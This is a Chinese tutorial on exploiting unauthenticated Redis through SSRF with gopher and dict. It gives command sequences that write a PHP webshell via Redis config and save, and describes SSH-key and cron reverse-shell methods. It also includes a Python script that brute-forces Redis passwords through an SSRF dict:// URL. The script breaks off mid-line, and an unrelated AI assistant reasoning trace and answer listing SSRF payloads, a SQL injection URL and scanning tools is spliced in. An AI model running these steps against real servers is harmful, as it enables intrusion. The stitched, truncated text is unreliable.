SSRF---gopher和dict打redis

本文详细介绍了Redis未授权访问漏洞的利用方法,包括利用配置参数写入webshell、SSH公钥、创建计划任务反弹shell,以及主从复制等方式。此外,还探讨了Redis的配置参数、常用命令、注意事项和安全模式。同时,提供了多种工具和脚本示例,用于检测和利用这些漏洞。文章最后提到了应急响应措施和防御策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

之前关于SSRF打redis(redis的未授权漏洞)都没咋总结,现在总结一下。

redis简介

redis是一个key-value存储系统,是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

redis常用命令

set xz "Hacker"                     # 设置键xz的值为字符串Hacker
      get xz                              # 获取键xz的内容
      SET score 857                       # 设置键score的值为857
      INCR score                          # 使用INCR命令将score的值增加1
      GET score                           # 获取键score的内容
      keys *                              # 列出当前数据库中所有的键
      config set protected-mode no        # 关闭安全模式
      get anotherkey                      # 获取一个不存在的键的值
      config set dir /root/redis          # 设置保存目录
      config set dbfilename redis.rdb     # 设置保存文件名
      config get dir                      # 查看保存目录
      config get dbfilename               # 查看保存文件名
      save                                # 进行一次备份操作
      flushall                            # 删除所有数据
      del key                             # 删除键为key的数据
      slaveof ip port                 # 设置主从关系
      redis-cli -h ip -p 6379 -a passwd   # 外部连接

redis操作注意事项

1.使用SET和GET命令,可以完成基本的赋值和取值操作;
2.Redis是不区分命令的大小写的,set和SET是同一个意思;
3.使用keys *可以列出当前数据库中的所有键;
4.当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
5.如果键的值中有空格,需要使用双引号括起来,如"Hello World".

redis配置文件参数

port参数

格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待
客户端的连接。一般我们用dict协议来爆破端口的开放情况

bind参数

格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind
192.168.1.100 10.0.0.1,表允许192.168.1.100和10.0.0.1两个IP连接。如果设置为0.0.0.0
则表示任意ip都可连接,说白了就是白名单。

save参数

格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
save 900 1
save 300 10
save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。

requirepass参数

格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。一般在打有认证的redis时,可能直接写脚本来爆破弱口令

dir参数

格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。

dbfilename参数

格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。

config命令

通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。

protected-mode参数

redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。

redis漏洞的利用方式

Redis 提供了2种不同的持久化方式,RDB方式和AOF方式.

  • RDB 持久化可以在指定的时间间隔内生成数据集的时间点快照
  • AOF 持久化记录服务器执行的所有写操作命令.

经过查看官网文档发现AOF方式备份数据库的文件名默认为appendonly.aof,可以在配置文件中通过appendfilename设置其他名称,通过测试发现不能在客户端交互中动态设置appendfilename,所以不能通过AOF方式备份写任意文件.

  • RDB方式备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改,造成可以写任意文件.

原理

Redis 默认情况下,会绑定在 ip地址:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。

绝对路径写webshell —有无认证均可

条件:

知道网站绝对路径,并且需要增删改查权限

root启动redis

redis弱密码或者无密码

补充:若不知道物理路径,可尝试寻找网站的应用程序错误或者常见绝对路径去尝试。

一些命令(协议打可能用到)

redis-cli -h 192.168.3.134 #连接

Redis config set dir /www/admin/localhost_80/wwwroot #设置要写入shell的路径

set xxx “\n\n\n<?php phpinfo() ;?>\n\n\n” #写入phpinfo()到xxx键

config set dbfilename phpinfo.php

save

默认redis的端口是6379,如果改了,直接利用burp爆破端口

然后如果redis需要为有认证的,需要密码,我们也可以利用脚本爆破弱口令的密码(在后面)

import urllib.request
import urllib.parse 

url = "http://xx.xx.xx.xx:8000/ssrf.php?url="

param = 'dict://127.0.0.1:6788/auth:'

with open(r'd:\test\top100.txt', 'r') as f: #字典
    for i in range(100):
        passwd = f.readline()
        all_url = url + param + passwd
        # print(all_url)
        request 
<think>好的,我现在需要帮助用户了解如何挖掘SSRF漏洞以及相关的扫描工具。首先,我应该回忆一下SSRF的基本概念,用户可能已经知道一些,但需要更深入的指导。 根据系统指令,我需要使用中文,并正确应用LaTeX格式。不过这个问题主要涉及网络安全,可能数学公式较少,但如果有变量或代码示例的话要注意格式。比如,提到的工具名称或命令可能需要用行内代码块。 接下来,查阅用户提供的引用资料。引用[1]提到SSRFire这个工具,可以用来扫描发现SSRF漏洞。同时,其他引用中的例子,比如利用PHP脚本攻击内网服务,或者结合Redis未授权访问,说明SSRF的利用场景。这些可以作为挖掘方法的实例。 用户的问题分为两部分:挖掘方法工具。我需要将回答分成这两个部分。对于挖掘方法,需要分步骤说明,比如参数测试、协议利用、绕过技巧等。工具部分则需要列出工具名称、功能及使用方法,比如SSRFire、Burp Suite等。 需要注意的是,用户可能对具体操作步骤不熟悉,因此要详细但不过于技术化。例如,在参数测试中,可以提到常见的URL参数如url、image、load等,并举例说明如何修改这些参数的值来测试响应。 另外,引用中的例子展示了如何利用SSRF漏洞攻击内网服务,比如通过注入SQL或者写入webshell。这些可以作为挖掘过程中的利用场景,说明在发现潜在漏洞后如何进一步验证。 关于工具部分,SSRFire需要满足一定的环境要求,比如Ruby环境,用户可能需要安装依赖库。Burp Suite的Collaborator功能可能对新手来说比较陌生,需要简单解释其作用,比如检测带外请求。 还要注意引用标识的正确添加,每个引用的地方在末尾自然标注,比如在提到SSRFire时添加[^1],在讨论内网攻击时引用[3][4]。 最后,生成相关问题需要考虑用户可能进一步想知道的内容,比如如何防御SSRF、常见漏洞案例、工具的比较等。确保问题覆盖漏洞挖掘的不同方面,帮助用户深入理解。</think>### SSRF漏洞挖掘方法与工具指南 #### 一、SSRF漏洞挖掘方法 1. **参数测试法** - 重点关注接收URL/路径的参数(如`url`、`image`、`load`),尝试修改其值为`http://127.0.0.1`、`file:///etc/passwd`或内网地址(如`http://192.168.1.1`)[^1][^2]。 - 观察响应是否包含目标服务器数据(如本地文件内容、内网服务报错信息)。 2. **协议利用法** - 测试支持的协议(如`dict://`、`gopher://`、`ftp://`),利用`dict://`探测内网端口状态: ```http http://example.com?url=dict://127.0.0.1:6379/info # 检测Redis服务 ``` 3. **绕过技巧** - 使用域名重定向(如短链接服务)、IPv6地址(`[::1]`)、进制编码绕过过滤规则[^4]。 4. **带外检测(OOB)** - 通过Burp Collaborator或DNSLog生成随机域名,观察服务器是否发起请求: ```http http://example.com?url=http://xxx.dnslog.cn ``` --- #### 二、常用SSRF扫描工具 1. **SSRFire** - **功能**:自动化参数探测、支持多协议测试、可结合XSSSQLi等漏洞[^1]。 - **使用示例**: ```bash ruby ssrfize.rb -u "http://target.com?url=PAYLOAD" --payloads urls.txt ``` 2. **Burp Suite** - 通过`Intruder`模块批量测试参数,配合`Collaborator`监听带外请求。 3. **Gopherus** - 生成`gopher://`协议攻击载荷,针对Redis/MySQL等内网服务自动化攻击[^3]。 --- #### 三、实战场景示例 1. **内网Web应用攻击** - 通过SSRF注入SQL语句到内网CMS系统[^3]: ```http http://vuln.com/ssrf.php?url=http://127.0.0.1/cms/show.php?id=-33 UNION SELECT ... ``` 2. **Redis未授权利用** - 写入Webshell到可访问目录(如`/upload`),再通过SSRF触发[^4]。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值